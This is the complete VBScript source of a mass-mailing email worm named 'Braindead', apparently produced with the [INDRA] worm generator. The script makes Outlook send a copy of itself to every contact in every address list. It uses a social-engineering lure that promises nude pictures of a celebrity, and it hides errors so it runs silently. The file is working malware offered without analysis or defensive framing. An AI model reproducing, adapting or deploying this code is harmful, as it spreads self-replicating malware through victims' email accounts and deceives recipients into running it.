'Worm Name: Braindead
'Written By: Hitschicker
'[INDRA]
On Error Resume Next
rbdneknwuemeawm = WScript.ScriptFullName
Set eabuaicrxqkrkia = CreateObject("WScript.Shell")
Set idptntaqeydpept = CreateObject("Outlook.Application")
If idptntaqeydpept <> "" Then
Set ahvxglgdqeemqir = idptntaqeydpept.GetNameSpace("MAPI")
For iyurixkuhotefuy = 1 to ahvxglgdqeemqir.AddressLists.Count
Set wggjhssyjatwumy = idptntaqeydpept.CreateItem(0)
Set afnsbhyjkdhufts = ahvxglgdqeemqir.AddressLists.Item(iyurixkuhotefuy)
wggjhssyjatwumy.Attachments.Add rbdneknwuemeawm
wggjhssyjatwumy.Subject = "The Newest Pic from nakad Ricky Martin"
wggjhssyjatwumy.Body = "Hello Guys!"
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "I have send you the
hottest Pics from "
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "Ricky Martin"
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + ""
wggjhssyjatwumy.Body = wggjhssyjatwumy.Body + vbCrLf + "regards thommy"
Set ylmfdwailohaldd = afnsbhyjkdhufts.AddressEntries
Set wmmrcajdwrtrgfr = wggjhssyjatwumy.Recipients
For haneyudskybxmac = 1 to ylmfdwailohaldd.Count
wggjhssyjatwumy.Recipients.Add ylmfdwailohaldd.Item(haneyudskybxmac)
Next
wggjhssyjatwumy.Send
Next
End If
'Generated with [INDRA] v0.4.